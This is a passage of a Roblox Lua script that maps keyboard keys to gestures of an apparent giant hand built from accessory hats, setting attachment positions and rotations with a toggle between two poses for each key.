                Character:WaitForChild("HumanoidRootPart").Attachment6.Position = Vector3.new(0,7.5,-1.03)
                Character:WaitForChild("HumanoidRootPart").Attachment7.Position = Vector3.new(0,6.1,-0.38)
                Character:WaitForChild("HumanoidRootPart").Attachment8.Position = Vector3.new(2,4.5,-2)
                Character:WaitForChild("HumanoidRootPart").Attachment9.Position = Vector3.new(2,5,-1)
            Character:WaitForChild("HumanoidRootPart").Attachment10.Position = Vector3.new(2,3,-1)
 
		    Hats.palm.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.point1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.point2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.middle1.Handle.Attachment.Rotation = Vector3.new(-80,0,0)
                Hats.middle2.Handle.Attachment.Rotation = Vector3.new(-80,0,0)
                Hats.ring1.Handle.Attachment.Rotation = Vector3.new(-65,0,0)
                Hats.ring2.Handle.Attachment.Rotation = Vector3.new(-65,0,0)
                Hats.pinki1.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.pinki2.Handle.Attachment.Rotation = Vector3.new(0,0,0)
            Hats.thumb.Handle.Attachment.Rotation = Vector3.new(0,0,0)
 
            toggle = false
        end
    end
end)
 
game.Players.LocalPlayer:GetMouse().KeyDown:Connect(function(KeyPressed)
 if KeyPressed == "e" then
     if toggle == false then
 
                Character:WaitForChild("HumanoidRootPart").Attachment1.Position = Vector3.new(0,-20,0)
                Character:WaitForChild("HumanoidRootPart").Attachment2.Position = Vector3.new(-3.5,7,0)
                Character:WaitForChild("HumanoidRootPart").Attachment3.Position = Vector3.new(-3,5,0)
                Character:WaitForChild("HumanoidRootPart").Attachment4.Position = Vector3.new(-3,6,0)
                Character:WaitForChild("HumanoidRootPart").Attachment5.Position = Vector3.new(-1,6,0)
                Character:WaitForChild("HumanoidRootPart").Attachment6.Position = Vector3.new(3.5,7,0)
                Character:WaitForChild("HumanoidRootPart").Attachment7.Position = Vector3.new(3,5,0)
                Character:WaitForChild("HumanoidRootPart").Attachment8.Position = Vector3.new(3,6,0)
                Character:WaitForChild("HumanoidRootPart").Attachment9.Position = Vector3.new(1,6,0)
            Character:WaitForChild("HumanoidRootPart").Attachment10.Position = Vector3.new(0,-20,0)
 
		    Hats.palm.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.point1.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.point2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.middle1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.middle2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.ring1.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.ring2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.pinki1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.pinki2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
            Hats.thumb.Handle.Attachment.Rotation = Vector3.new(0,0,0)
 
           toggle = true
 else
                Character:WaitForChild("HumanoidRootPart").Attachment1.Position = Vector3.new(0,-20,0)
                Character:WaitForChild("HumanoidRootPart").Attachment2.Position = Vector3.new(-5.5,7,0)
                Character:WaitForChild("HumanoidRootPart").Attachment3.Position = Vector3.new(-5,5,0)
                Character:WaitForChild("HumanoidRootPart").Attachment4.Position = Vector3.new(-5,6,0)
                Character:WaitForChild("HumanoidRootPart").Attachment5.Position = Vector3.new(-3,6,0)
                Character:WaitForChild("HumanoidRootPart").Attachment6.Position = Vector3.new(5.5,7,0)
                Character:WaitForChild("HumanoidRootPart").Attachment7.Position = Vector3.new(5,5,0)
                Character:WaitForChild("HumanoidRootPart").Attachment8.Position = Vector3.new(5,6,0)
                Character:WaitForChild("HumanoidRootPart").Attachment9.Position = Vector3.new(3,6,0)
            Character:WaitForChild("HumanoidRootPart").Attachment10.Position = Vector3.new(0,-20,0)
 
		    Hats.palm.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.point1.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.point2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.middle1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.middle2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.ring1.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.ring2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.pinki1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.pinki2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
            Hats.thumb.Handle.Attachment.Rotation = Vector3.new(0,0,0)
 
            toggle = false
        end
    end
end)
 
game.Players.LocalPlayer:GetMouse().KeyDown:Connect(function(KeyPressed)
 if KeyPressed == "c" then
     if toggle == false then
 
                Character:WaitForChild("HumanoidRootPart").Attachment1.Position = Vector3.new(0,5,3)
                Character:WaitForChild("HumanoidRootPart").Attachment2.Position = Vector3.new(-1.05,8,3)
                Character:WaitForChild("HumanoidRootPart").Attachment3.Position = Vector3.new(-0.64,9.1,3)
                Character:WaitForChild("HumanoidRootPart").Attachment4.Position = Vector3.new(0.1,7,3)
                Character:WaitForChild("HumanoidRootPart").Attachment5.Position = Vector3.new(0.77,8.6,3)
                Character:WaitForChild("HumanoidRootPart").Attachment6.Position = Vector3.new(1.5,7,3)
                Character:WaitForChild("HumanoidRootPart").Attachment7.Position = Vector3.new(1.9,8,3)
                Character:WaitForChild("HumanoidRootPart").Attachment8.Position = Vector3.new(2.7,6.4,3)
                Character:WaitForChild("HumanoidRootPart").Attachment9.Position = Vector3.new(3.22,7.5,3)
            Character:WaitForChild("HumanoidRootPart").Attachment10.Position = Vector3.new(2.6,3.4,3)
 
		    Hats.palm.Handle.Attachment.Rotation = Vector3.new(0,0,20)
                Hats.point1.Handle.Attachment.Rotation = Vector3.new(90,0,20)
                Hats.point2.Handle.Attachment.Rotation = Vector3.new(90,0,20)
                Hats.middle1.Handle.Attachment.Rotation = Vector3.new(90,0,23)
                Hats.middle2.Handle.Attachment.Rotation = Vector3.new(90,0,23)
                Hats.ring1.Handle.Attachment.Rotation = Vector3.new(90,0,22)
                Hats.ring2.Handle.Attachment.Rotation = Vector3.new(90,0,22)
                Hats.pinki1.Handle.Attachment.Rotation = Vector3.new(90,0,25)
                Hats.pinki2.Handle.Attachment.Rotation = Vector3.new(90,0,25)
            Hats.thumb.Handle.Attachment.Rotation = Vector3.new(0,90,-10)
 
           toggle = true
 else
                Character:WaitForChild("HumanoidRootPart").Attachment1.Position = Vector3.new(0,5,3)
                Character:WaitForChild("HumanoidRootPart").Attachment2.Position = Vector3.new(-2.05,7,3)
                Character:WaitForChild("HumanoidRootPart").Attachment3.Position = Vector3.new(-2.19,8.4,3)
                Character:WaitForChild("HumanoidRootPart").Attachment4.Position = Vector3.new(-0.65,7,3)
                Character:WaitForChild("HumanoidRootPart").Attachment5.Position = Vector3.new(-0.7,8.5,3)
                Character:WaitForChild("HumanoidRootPart").Attachment6.Position = Vector3.new(0.65,7,3)
                Character:WaitForChild("HumanoidRootPart").Attachment7.Position = Vector3.new(0.7,8.5,3)
                Character:WaitForChild("HumanoidRootPart").Attachment8.Position = Vector3.new(2.1,7,3)
                Character:WaitForChild("HumanoidRootPart").Attachment9.Position = Vector3.new(2.22,8.4,3)
            Character:WaitForChild("HumanoidRootPart").Attachment10.Position = Vector3.new(3,4.4,3)
 
		    Hats.palm.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.point1.Handle.Attachment.Rotation = Vector3.new(90,0,-5)
                Hats.point2.Handle.Attachment.Rotation = Vector3.new(90,0,-5)
                Hats.middle1.Handle.Attachment.Rotation = Vector3.new(90,0,-2)
                Hats.middle2.Handle.Attachment.Rotation = Vector3.new(90,0,-2)
                Hats.ring1.Handle.Attachment.Rotation = Vector3.new(90,0,2)
                Hats.ring2.Handle.Attachment.Rotation = Vector3.new(90,0,2)
                Hats.pinki1.Handle.Attachment.Rotation = Vector3.new(90,0,5)
                Hats.pinki2.Handle.Attachment.Rotation = Vector3.new(90,0,5)
            Hats.thumb.Handle.Attachment.Rotation = Vector3.new(0,90,-30)
 
            toggle = false
        end
    end
end)
 
game.Players.LocalPlayer:GetMouse().KeyDown:Connect(function(KeyPressed)
 if KeyPressed == "v" then
     if toggle == false then
 
                Character:WaitForChild("HumanoidRootPart").Attachment1.Position = Vector3.new(0,-2,-7)
                Character:WaitForChild("HumanoidRootPart").Attachment2.Position = Vector3.new(0,-1.4,-1.5)
                Character:WaitForChild("HumanoidRootPart").Attachment3.Position = Vector3.new(0,-1.4,-3.5)
                Character:WaitForChild("HumanoidRootPart").Attachment4.Position = Vector3.new(-0.5,0,-5)
                Character:WaitForChild("HumanoidRootPart").Attachment5.Position = Vector3.new(-1,-1,-5)
                Character:WaitForChild("HumanoidRootPart").Attachment6.Position = Vector3.new(-0.5,0,-7)
                Character:WaitForChild("HumanoidRootPart").Attachment7.Position = Vector3.new(-1,-1,-7)
                Character:WaitForChild("HumanoidRootPart").Attachment8.Position = Vector3.new(-0.5,0,-9)
                Character:WaitForChild("HumanoidRootPart").Attachment9.Position = Vector3.new(-1,-1,-9)
            Character:WaitForChild("HumanoidRootPart").Attachment10.Position = Vector3.new(1,-1,-8.6)
 
		    Hats.palm.Handle.Attachment.Rotation = Vector3.new(90,90,0)
                Hats.point1.Handle.Attachment.Rotation = Vector3.new(0,0,90)
                Hats.point2.Handle.Attachment.Rotation = Vector3.new(0,0,90)
                Hats.middle1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.middle2.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.ring1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.ring2.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.pinki1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.pinki2.Handle.Attachment.Rotation = Vector3.new(90,0,0)
            Hats.thumb.Handle.Attachment.Rotation = Vector3.new(0,50,40)
 
           toggle = true
 else
                Character:WaitForChild("HumanoidRootPart").Attachment1.Position = Vector3.new(0,-2,-3)
                Character:WaitForChild("HumanoidRootPart").Attachment2.Position = Vector3.new(0,-1.4,-1.5)
                Character:WaitForChild("HumanoidRootPart").Attachment3.Position = Vector3.new(0,-1.4,-3.5)
                Character:WaitForChild("HumanoidRootPart").Attachment4.Position = Vector3.new(-0.5,0,-1)
                Character:WaitForChild("HumanoidRootPart").Attachment5.Position = Vector3.new(-1,-1,-1)
                Character:WaitForChild("HumanoidRootPart").Attachment6.Position = Vector3.new(-0.5,0,-3)
                Character:WaitForChild("HumanoidRootPart").Attachment7.Position = Vector3.new(-1,-1,-3)
                Character:WaitForChild("HumanoidRootPart").Attachment8.Position = Vector3.new(-0.5,0,-5)
                Character:WaitForChild("HumanoidRootPart").Attachment9.Position = Vector3.new(-1,-1,-5)
            Character:WaitForChild("HumanoidRootPart").Attachment10.Position = Vector3.new(1,-1,-4.6)
 
		    Hats.palm.Handle.Attachment.Rotation = Vector3.new(90,90,0)
                Hats.point1.Handle.Attachment.Rotation = Vector3.new(0,0,90)
                Hats.point2.Handle.Attachment.Rotation = Vector3.new(0,0,90)
                Hats.middle1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.middle2.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.ring1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.ring2.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.pinki1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.pinki2.Handle.Attachment.Rotation = Vector3.new(90,0,0)
            Hats.thumb.Handle.Attachment.Rotation = Vector3.new(0,50,40)
 
            toggle = false
        end
    end
end)
 
game.Players.LocalPlayer:GetMouse().KeyDown:Connect(function(KeyPressed)
 if KeyPressed == "f" then
     if toggle == false then
 
                 Character:WaitForChild("HumanoidRootPart").Attachment1.Position = Vector3.new(-0.424, -1.207, -1.814)
                Character:WaitForChild("HumanoidRootPart").Attachment2.Position = Vector3.new(1.477, 1.894, -1.814)
                Character:WaitForChild("HumanoidRootPart").Attachment3.Position = Vector3.new(-2.291, 1.394, -1.814)
                Character:WaitForChild("HumanoidRootPart").Attachment4.Position = Vector3.new(-3.299, 1.677, -1.814)
                Character:WaitForChild("HumanoidRootPart").Attachment5.Position = Vector3.new(-1.197, -0.244, -0.921)
                Character:WaitForChild("HumanoidRootPart").Attachment6.Position = Vector3.new(-0.72, -0.377, 0.165)
                Character:WaitForChild("HumanoidRootPart").Attachment7.Position = Vector3.new(-1.546, -1.488, -0.921)
                Character:WaitForChild("HumanoidRootPart").Attachment8.Position = Vector3.new(-1.068, -1.616, 0.165)
                Character:WaitForChild("HumanoidRootPart").Attachment9.Position = Vector3.new(-1.931, -2.86, -0.921)
            Character:WaitForChild("HumanoidRootPart").Attachment10.Position = Vector3.new(-1.612, -2.95, 0.165)
 
		    Hats.palm.Handle.Attachment.Rotation = Vector3.new(0, 180, -74.33)
                Hats.point1.Handle.Attachment.Rotation = Vector3.new(74.33, -90, 180)
                Hats.point2.Handle.Attachment.Rotation = Vector3.new(15.67, 90, 0)
                Hats.middle1.Handle.Attachment.Rotation = Vector3.new(15.67, 90, 0)
                Hats.middle2.Handle.Attachment.Rotation = Vector3.new(0, 0, 15.67)
                Hats.ring1.Handle.Attachment.Rotation = Vector3.new(15.67, 90, 0)
                Hats.ring2.Handle.Attachment.Rotation = Vector3.new(0, 0, 15.67)
                Hats.pinki1.Handle.Attachment.Rotation = Vector3.new(15.67, 90, 0)
                Hats.pinki2.Handle.Attachment.Rotation = Vector3.new(0, 0, 15.67)
            Hats.thumb.Handle.Attachment.Rotation = Vector3.new(15.67, 90, 0)
 
           toggle = true
 else
 
                Character:WaitForChild("HumanoidRootPart").Attachment1.Position = Vector3.new(0, -15, 0)
                Character:WaitForChild("HumanoidRootPart").Attachment2.Position = Vector3.new(-1.3, 7, 0)
                Character:WaitForChild("HumanoidRootPart").Attachment3.Position = Vector3.new(1.3, 7, 0)
                Character:WaitForChild("HumanoidRootPart").Attachment4.Position = Vector3.new(0, 3.3, 0)
                Character:WaitForChild("HumanoidRootPart").Attachment5.Position = Vector3.new(-1, 3.3, 0)
                Character:WaitForChild("HumanoidRootPart").Attachment6.Position = Vector3.new(1, 3.3, 0)
                Character:WaitForChild("HumanoidRootPart").Attachment7.Position = Vector3.new(-3, 3.3, 0)
                Character:WaitForChild("HumanoidRootPart").Attachment8.Position = Vector3.new(3, 3.3, 0)
                Character:WaitForChild("HumanoidRootPart").Attachment9.Position = Vector3.new(0, -15, 0)
            Character:WaitForChild("HumanoidRootPart").Attachment10.Position = Vector3.new(0, -15, 0)
 
		    Hats.palm.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.point1.Handle.Attachment.Rotation = Vector3.new(90, 0, 0)
                Hats.point2.Handle.Attachment.Rotation = Vector3.new(90, 0, 0)
                Hats.middle1.Handle.Attachment.Rotation = Vector3.new(0, 90, 0)
                Hats.middle2.Handle.Attachment.Rotation = Vector3.new(0, 90, 0)
                Hats.ring1.Handle.Attachment.Rotation = Vector3.new(0, 90, 0)
                Hats.ring2.Handle.Attachment.Rotation = Vector3.new(0, 90, 0)
                Hats.pinki1.Handle.Attachment.Rotation = Vector3.new(0, 90, 0)
                Hats.pinki2.Handle.Attachment.Rotation = Vector3.new(0,0,0)
            Hats.thumb.Handle.Attachment.Rotation = Vector3.new(0,0,0)
 
            toggle = false
        end
    end
end)
 
game.Players.LocalPlayer:GetMouse().KeyDown:Connect(function(KeyPressed)
 if KeyPressed == "r" then
     if toggle == false then
 
                 Character:WaitForChild("HumanoidRootPart").Attachment1.Position = Vector3.new(0,-15,0)
                Character:WaitForChild("HumanoidRootPart").Attachment2.Position = Vector3.new(-1.7,6,0)
                Character:WaitForChild("HumanoidRootPart").Attachment3.Position = Vector3.new(1.7,6,0)
                Character:WaitForChild("HumanoidRootPart").Attachment4.Position = Vector3.new(1.8,2.76,0)
                Character:WaitForChild("HumanoidRootPart").Attachment5.Position = Vector3.new(3.33,2.05,0)
                Character:WaitForChild("HumanoidRootPart").Attachment6.Position = Vector3.new(-1.8,2.76,0)
                Character:WaitForChild("HumanoidRootPart").Attachment7.Position = Vector3.new(-3.33,2.05,0)
                Character:WaitForChild("HumanoidRootPart").Attachment8.Position = Vector3.new(0,3,0)
                Character:WaitForChild("HumanoidRootPart").Attachment9.Position = Vector3.new(0,3,0)
            Character:WaitForChild("HumanoidRootPart").Attachment10.Position = Vector3.new(0,-15,0)
 
		    Hats.palm.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.point1.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.point2.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.middle1.Handle.Attachment.Rotation = Vector3.new(15,90,0)
                Hats.middle2.Handle.Attachment.Rotation = Vector3.new(35,90,0)
                Hats.ring1.Handle.Attachment.Rotation = Vector3.new(-15,90,0)
                Hats.ring2.Handle.Attachment.Rotation = Vector3.new(-35,90,0)
                Hats.pinki1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.pinki2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
            Hats.thumb.Handle.Attachment.Rotation = Vector3.new(0,0,0)
 
           toggle = true
 else
 
                Character:WaitForChild("HumanoidRootPart").Attachment1.Position = Vector3.new(0,-15,0)
                Character:WaitForChild("HumanoidRootPart").Attachment2.Position = Vector3.new(-1.7,6,0)
                Character:WaitForChild("HumanoidRootPart").Attachment3.Position = Vector3.new(1.7,6,0)
                Character:WaitForChild("HumanoidRootPart").Attachment4.Position = Vector3.new(1.8,3.23,0)
                Character:WaitForChild("HumanoidRootPart").Attachment5.Position = Vector3.new(3.33,3.94,0)
                Character:WaitForChild("HumanoidRootPart").Attachment6.Position = Vector3.new(-1.8,3.23,0)
                Character:WaitForChild("HumanoidRootPart").Attachment7.Position = Vector3.new(-3.33,3.94,0)
                Character:WaitForChild("HumanoidRootPart").Attachment8.Position = Vector3.new(0,3,0)
                Character:WaitForChild("HumanoidRootPart").Attachment9.Position = Vector3.new(0,3,0)
            Character:WaitForChild("HumanoidRootPart").Attachment10.Position = Vector3.new(0,-15,0)
 
		    Hats.palm.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.point1.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.point2.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.middle1.Handle.Attachment.Rotation = Vector3.new(-15,90,0)
                Hats.middle2.Handle.Attachment.Rotation = Vector3.new(-35,90,0)
                Hats.ring1.Handle.Attachment.Rotation = Vector3.new(15,90,0)
                Hats.ring2.Handle.Attachment.Rotation = Vector3.new(35,90,0)
                Hats.pinki1.Handle.Attachment.Rotation = Vector3.new(0,90,0)
                Hats.pinki2.Handle.Attachment.Rotation = Vector3.new(0,90,0)
            Hats.thumb.Handle.Attachment.Rotation = Vector3.new(0,0,0)
 
            toggle = false
        end
    end
end)
 
game.Players.LocalPlayer:GetMouse().KeyDown:Connect(function(KeyPressed)
 if KeyPressed == "g" then
     if toggle == false then
 
                 Character:WaitForChild("HumanoidRootPart").Attachment1.Position = Vector3.new(0,-15,0)
                Character:WaitForChild("HumanoidRootPart").Attachment2.Position = Vector3.new(0,5,0)
                Character:WaitForChild("HumanoidRootPart").Attachment3.Position = Vector3.new(0,6,0)
                Character:WaitForChild("HumanoidRootPart").Attachment4.Position = Vector3.new(-1.8,-15,0)
                Character:WaitForChild("HumanoidRootPart").Attachment5.Position = Vector3.new(-1,4.5,0)
                Character:WaitForChild("HumanoidRootPart").Attachment6.Position = Vector3.new(1,4.5,0)
                Character:WaitForChild("HumanoidRootPart").Attachment7.Position = Vector3.new(0,8,0)
                Character:WaitForChild("HumanoidRootPart").Attachment8.Position = Vector3.new(0,-15,0)
                Character:WaitForChild("HumanoidRootPart").Attachment9.Position = Vector3.new(0,3.6,0)
            Character:WaitForChild("HumanoidRootPart").Attachment10.Position = Vector3.new(0,8,0)
 
		    Hats.palm.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.point1.Handle.Attachment.Rotation = Vector3.new(90,180,0)
                Hats.point2.Handle.Attachment.Rotation = Vector3.new(90,180,0)
                Hats.middle1.Handle.Attachment.Rotation = Vector3.new(90,180,0)
                Hats.middle2.Handle.Attachment.Rotation = Vector3.new(0,90,180)
                Hats.ring1.Handle.Attachment.Rotation = Vector3.new(0,90,180)
                Hats.ring2.Handle.Attachment.Rotation = Vector3.new(90,180,0)
                Hats.pinki1.Handle.Attachment.Rotation = Vector3.new(90,180,0)
                Hats.pinki2.Handle.Attachment.Rotation = Vector3.new(90,180,0)
            Hats.thumb.Handle.Attachment.Rotation = Vector3.new(90,180,0)
 
           toggle = true
 else
 
                             Character:WaitForChild("HumanoidRootPart").Attachment1.Position = Vector3.new(0,-15,0)
                Character:WaitForChild("HumanoidRootPart").Attachment2.Position = Vector3.new(0,5,0)
                Character:WaitForChild("HumanoidRootPart").Attachment3.Position = Vector3.new(0,6,0)
                Character:WaitForChild("HumanoidRootPart").Attachment4.Position = Vector3.new(-1.8,-15,0)
                Character:WaitForChild("HumanoidRootPart").Attachment5.Position = Vector3.new(-1,7,0)
                Character:WaitForChild("HumanoidRootPart").Attachment6.Position = Vector3.new(1,7,0)
                Character:WaitForChild("HumanoidRootPart").Attachment7.Position = Vector3.new(0,8,0)
                Character:WaitForChild("HumanoidRootPart").Attachment8.Position = Vector3.new(0,-15,0)
                Character:WaitForChild("HumanoidRootPart").Attachment9.Position = Vector3.new(0,3.6,0)
            Character:WaitForChild("HumanoidRootPart").Attachment10.Position = Vector3.new(0,8,0)
 
		    Hats.palm.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.point1.Handle.Attachment.Rotation = Vector3.new(90,180,0)
                Hats.point2.Handle.Attachment.Rotation = Vector3.new(90,180,0)
                Hats.middle1.Handle.Attachment.Rotation = Vector3.new(90,180,0)
                Hats.middle2.Handle.Attachment.Rotation = Vector3.new(0,90,180)
                Hats.ring1.Handle.Attachment.Rotation = Vector3.new(0,90,180)
                Hats.ring2.Handle.Attachment.Rotation = Vector3.new(90,180,0)
                Hats.pinki1.Handle.Attachment.Rotation = Vector3.new(90,180,0)
                Hats.pinki2.Handle.Attachment.Rotation = Vector3.new(90,180,0)
            Hats.thumb.Handle.Attachment.Rotation = Vector3.new(90,180,0)
 
            toggle = false
        end
    end
end)
 
game.Players.LocalPlayer:GetMouse().KeyDown:Connect(function(KeyPressed)
 if KeyPressed == "y" then
     if toggle == false then
 
                 Character:WaitForChild("HumanoidRootPart").Attachment1.Position = Vector3.new(0,7,0)
                Character:WaitForChild("HumanoidRootPart").Attachment2.Position = Vector3.new(-2,5.5,-1)
                Character:WaitForChild("HumanoidRootPart").Attachment3.Position = Vector3.new(2,4,-1)
                Character:WaitForChild("HumanoidRootPart").Attachment4.Position = Vector3.new(-0.6,5.5,-1)
                Character:WaitForChild("HumanoidRootPart").Attachment5.Position = Vector3.new(-0.6,5,-0.5)
                Character:WaitForChild("HumanoidRootPart").Attachment6.Position = Vector3.new(0.7,5.5,-1)
                Character:WaitForChild("HumanoidRootPart").Attachment7.Position = Vector3.new(0.7,5,-0.5)
                Character:WaitForChild("HumanoidRootPart").Attachment8.Position = Vector3.new(2,5.5,-1)
                Character:WaitForChild("HumanoidRootPart").Attachment9.Position = Vector3.new(-2,5,-0.5)
            Character:WaitForChild("HumanoidRootPart").Attachment10.Position = Vector3.new(3,6.7,0.5)
 
		    Hats.palm.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.point1.Handle.Attachment.Rotation = Vector3.new(-90,0,0)
                Hats.point2.Handle.Attachment.Rotation = Vector3.new(-90,0,0)
                Hats.middle1.Handle.Attachment.Rotation = Vector3.new(-90,0,0)
                Hats.middle2.Handle.Attachment.Rotation = Vector3.new(180,0,0)
                Hats.ring1.Handle.Attachment.Rotation = Vector3.new(-90,0,0)
                Hats.ring2.Handle.Attachment.Rotation = Vector3.new(180,0,0)
                Hats.pinki1.Handle.Attachment.Rotation = Vector3.new(-90,0,0)
                Hats.pinki2.Handle.Attachment.Rotation = Vector3.new(180,0,0)
            Hats.thumb.Handle.Attachment.Rotation = Vector3.new(90,30,0)
 
           toggle = true
 else
 
                 Character:WaitForChild("HumanoidRootPart").Attachment1.Position = Vector3.new(0,4,5)
                Character:WaitForChild("HumanoidRootPart").Attachment2.Position = Vector3.new(-2,5,4)
                Character:WaitForChild("HumanoidRootPart").Attachment3.Position = Vector3.new(2,5,2)
                Character:WaitForChild("HumanoidRootPart").Attachment4.Position = Vector3.new(-0.6,5,4)
                Character:WaitForChild("HumanoidRootPart").Attachment5.Position = Vector3.new(-0.6,4.5,3)
                Character:WaitForChild("HumanoidRootPart").Attachment6.Position = Vector3.new(0.7,5,4)
                Character:WaitForChild("HumanoidRootPart").Attachment7.Position = Vector3.new(0.7,4.5,3)
                Character:WaitForChild("HumanoidRootPart").Attachment8.Position = Vector3.new(2,5,4)
                Character:WaitForChild("HumanoidRootPart").Attachment9.Position = Vector3.new(-2,4.5,3)
            Character:WaitForChild("HumanoidRootPart").Attachment10.Position = Vector3.new(3,3.5,4.7)
 
		    Hats.palm.Handle.Attachment.Rotation = Vector3.new(180,0,0)
                Hats.point1.Handle.Attachment.Rotation = Vector3.new(-180,0,0)
                Hats.point2.Handle.Attachment.Rotation = Vector3.new(-180,0,0)
                Hats.middle1.Handle.Attachment.Rotation = Vector3.new(-180,0,0)
                Hats.middle2.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.ring1.Handle.Attachment.Rotation = Vector3.new(-180,0,0)
                Hats.ring2.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.pinki1.Handle.Attachment.Rotation = Vector3.new(-180,0,0)
                Hats.pinki2.Handle.Attachment.Rotation = Vector3.new(90,0,0)
            Hats.thumb.Handle.Attachment.Rotation = Vector3.new(0,30,0)
 
            toggle = false
        end
    end
end)
 
game.Players.LocalPlayer:GetMouse().KeyDown:Connect(function(KeyPressed)
 if KeyPressed == "t" then
     if toggle == false then
 
                 Character:WaitForChild("HumanoidRootPart").Attachment1.Position = Vector3.new(0,0.5,-5)
                Character:WaitForChild("HumanoidRootPart").Attachment2.Position = Vector3.new(-2,-0.5,-6)
                Character:WaitForChild("HumanoidRootPart").Attachment3.Position = Vector3.new(-2,-1.5,-5.5)
                Character:WaitForChild("HumanoidRootPart").Attachment4.Position = Vector3.new(-0.5,-0.5,-6)
                Character:WaitForChild("HumanoidRootPart").Attachment5.Position = Vector3.new(-0.5,-1.5,-5.5)
                Character:WaitForChild("HumanoidRootPart").Attachment6.Position = Vector3.new(0.8,-0.5,-6)
                Character:WaitForChild("HumanoidRootPart").Attachment7.Position = Vector3.new(0.791,-1.5,-5.5)
                Character:WaitForChild("HumanoidRootPart").Attachment8.Position = Vector3.new(2,-0.5,-6)
                Character:WaitForChild("HumanoidRootPart").Attachment9.Position = Vector3.new(2,-1.5,-5.5)
            Character:WaitForChild("HumanoidRootPart").Attachment10.Position = Vector3.new(2.684,-0.704,-4.323)
 
		    Hats.palm.Handle.Attachment.Rotation = Vector3.new(90,180,0)
                Hats.point1.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.point2.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.middle1.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.middle2.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.ring1.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.ring2.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.pinki1.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.pinki2.Handle.Attachment.Rotation = Vector3.new(0,0,0)
            Hats.thumb.Handle.Attachment.Rotation = Vector3.new(-57.51,-47.54,-138.88)
 
           toggle = true
 else
 
                             Character:WaitForChild("HumanoidRootPart").Attachment1.Position = Vector3.new(0,0.5,-3)
                Character:WaitForChild("HumanoidRootPart").Attachment2.Position = Vector3.new(-2,-0.5,-4)
                Character:WaitForChild("HumanoidRootPart").Attachment3.Position = Vector3.new(-2,-1.5,-3.5)
                Character:WaitForChild("HumanoidRootPart").Attachment4.Position = Vector3.new(-0.5,-0.5,-4)
                Character:WaitForChild("HumanoidRootPart").Attachment5.Position = Vector3.new(-0.5,-1.5,-3.5)
                Character:WaitForChild("HumanoidRootPart").Attachment6.Position = Vector3.new(0.8,-0.5,-4)
                Character:WaitForChild("HumanoidRootPart").Attachment7.Position = Vector3.new(0.791,-1.5,-3.5)
                Character:WaitForChild("HumanoidRootPart").Attachment8.Position = Vector3.new(2,-0.5,-4)
                Character:WaitForChild("HumanoidRootPart").Attachment9.Position = Vector3.new(2,-1.5,-3.5)
            Character:WaitForChild("HumanoidRootPart").Attachment10.Position = Vector3.new(2.684,-0.704,-2.323)
 
		    Hats.palm.Handle.Attachment.Rotation = Vector3.new(90,180,0)
                Hats.point1.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.point2.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.middle1.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.middle2.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.ring1.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.ring2.Handle.Attachment.Rotation = Vector3.new(0,0,0)
                Hats.pinki1.Handle.Attachment.Rotation = Vector3.new(90,0,0)
                Hats.pinki2.Handle.Attachment.Rotation = Vector3.new(0,0,0)
